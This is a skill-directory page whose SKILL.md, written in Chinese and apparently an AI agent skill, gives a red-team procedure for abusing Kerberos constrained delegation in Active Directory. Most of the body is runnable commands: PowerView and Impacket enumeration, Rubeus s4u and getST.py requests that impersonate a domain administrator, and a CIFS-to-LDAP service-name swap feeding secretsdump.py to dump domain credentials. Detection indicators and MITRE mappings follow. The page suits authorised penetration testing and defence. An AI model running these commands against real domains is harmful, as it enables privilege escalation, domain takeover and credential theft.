UI はローカライズ済みです。スキルの紹介と説明文書は選択した言語へ AI が自動翻訳し、コード・コマンド・パス・専門用語は原文のままです。原作者の文書が優先されます。
スキルを探す
生産性・共同作業 · SKILL.md

exploiting-constrained-delegation-abuse

exploiting-constrained-delegation-abuse

利用活动目录中的 Kerberos 约束委派(Constrained Delegation)错误配置,通过 S4U2self 和 S4U2proxy 扩展模拟特权用户,实现横向移动和权限提升。

Independent GitHub snapshot · Automated classification · Original documentation governs

スキルの説明

GitHub

name: exploiting-constrained-delegation-abuse description: 利用活动目录中的 Kerberos 约束委派(Constrained Delegation)错误配置,通过 S4U2self 和 S4U2proxy 扩展模拟特权用户,实现横向移动和权限提升。 domain: cybersecurity subdomain: red-teaming tags: [red-team, active-directory, kerberos, constrained-delegation, s4u2proxy, privilege-escalation, lateral-movement] version: "1.0" author: mahipal license: Apache-2.0

利用约束委派滥用漏洞

概述

Kerberos 约束委派(KCD)是一种 Windows 活动目录功能,允许服务模拟用户并代表其访问特定服务。委派目标在 msDS-AllowedToDelegateTo 属性中定义。当攻击者控制了配置了约束委派(特别是带有 TRUSTED_TO_AUTH_FOR_DELEGATION 标志)的账户时,他们可以使用 S4U2self 和 S4U2proxy Kerberos 协议扩展来以任何用户(包括域管理员)身份请求到委派服务的服务票据。如果委派目标包括域控制器上的 CIFS、HTTP 或 LDAP 等服务,则会导致完整的域入侵。S4U2self 扩展代表任何用户向被控服务请求可转发的票据,S4U2proxy 将该票据转发到允许的委派目标。

目标

  • 枚举域中配置了约束委派的账户
  • 识别高价值服务的委派目标(msDS-AllowedToDelegateTo)
  • 利用 S4U2self 和 S4U2proxy 模拟域管理员
  • 以特权用户身份获取委派服务的服务票据
  • 访问目标主机上的委派服务(CIFS、LDAP、HTTP)
  • 通过约束委派滥用提升至域管理员

MITRE ATT&CK 映射

  • T1558.003 - 窃取或伪造 Kerberos 票据:Kerberoasting
  • T1550.003 - 使用替代认证材料:票据传递
  • T1134.001 - 访问令牌操控:令牌模拟/盗窃
  • T1078.002 - 有效账户:域账户
  • T1021 - 远程服务

实施步骤

阶段一:枚举约束委派

  1. 使用 PowerView 查找具有约束委派的账户:
    # 查找具有约束委派的用户
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # 查找具有约束委派的计算机
    Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
    
    # 使用 AD 模块
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
    
  2. 使用 Impacket findDelegation.py:
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. 使用 BloodHound CE:
    MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
    RETURN c.name, c.allowedtodelegate
    
  4. 检查 TRUSTED_TO_AUTH_FOR_DELEGATION 标志(协议转换):
    # UserAccountControl 标志 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
    

阶段二:使用 Rubeus 利用(Windows)

  1. 如果您拥有约束委派账户的密码或哈希:
    # 为约束委派账户请求 TGT
    Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
    
    # 执行 S4U2self + S4U2proxy 以模拟 administrator
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /ptt
    
    # 替代方案:指定替代服务名称
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
    
  2. 在单个命令中组合 TGT 请求和 S4U:
    Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
    

阶段三:使用 Impacket 利用(Linux)

  1. 通过 S4U 协议扩展请求服务票据:
    # 使用 getST.py 和 S4U
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
    # 使用哈希代替密码
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
      -dc-ip 10.10.10.1 domain.local/svc_sql
    
    # 使用获得的票据
    export KRB5CCNAME=administrator.ccache
    smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
    

阶段四:替代服务名称滥用

  1. Kerberos 服务票据不针对票据中的 SPN 进行验证,允许 SPN 替换:
    # 请求 CIFS 票据,然后用于 LDAP(DCSync)
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -altservice LDAP/DC01.domain.local \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
    
  2. 该技术之所以有效,是因为票据中的服务名称不与会话密钥进行密码学绑定

阶段五:协议转换攻击

  1. 如果账户具有 TRUSTED_TO_AUTH_FOR_DELEGATION:
    # S4U2self 无需用户认证即可获取可转发的票据
    # 这意味着我们可以在不知道用户密码的情况下模拟任何用户
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
    
  2. 没有 TRUSTED_TO_AUTH_FOR_DELEGATION 时,S4U2self 票据不可转发,S4U2proxy 将失败(除非使用基于资源的约束委派)

工具与资源

工具用途平台
RubeusS4U Kerberos 票据操控Windows(.NET)
getST.pyS4U 服务票据请求(Impacket)Linux(Python)
findDelegation.py委派枚举(Impacket)Linux(Python)
PowerViewAD 委派枚举Windows(PowerShell)
BloodHound CE可视化委派路径分析Docker
Kekeo高级 Kerberos 工具包Windows

委派类型对比

类型属性范围攻击复杂性
非约束委派TRUSTED_FOR_DELEGATION任意服务低(捕获 TGT)
约束委派msDS-AllowedToDelegateTo特定 SPN中(S4U 滥用)
约束委派 + 协议转换+ TRUSTED_TO_AUTH_FOR_DELEGATION特定 SPN中(不需要用户认证)
基于资源的约束委派(RBCD)msDS-AllowedToActOnBehalfOfOtherIdentity在目标上中(可写属性)

检测特征

指标检测方法
S4U2self 票据请求带异常服务和模拟的事件 4769
S4U2proxy 转发的票据带委派标志的事件 4769
票据中的替代服务名称请求的 SPN 与实际服务访问之间的不匹配
Rubeus.exe 执行EDR 进程检测、命令行日志
委派配置更改msDS-AllowedToDelegateTo 修改的事件 5136

验证标准

  • 已枚举具有约束委派的账户
  • 已识别委派目标(msDS-AllowedToDelegateTo)
  • 已获取目标用户的 S4U2self 票据
  • 已将 S4U2proxy 票据转发到委派目标
  • 已验证对委派服务的特权访问
  • 已测试替代服务名称替换
  • 已评估协议转换能力
  • 已记录包含票据导出和访问证明的证据
保存したスキル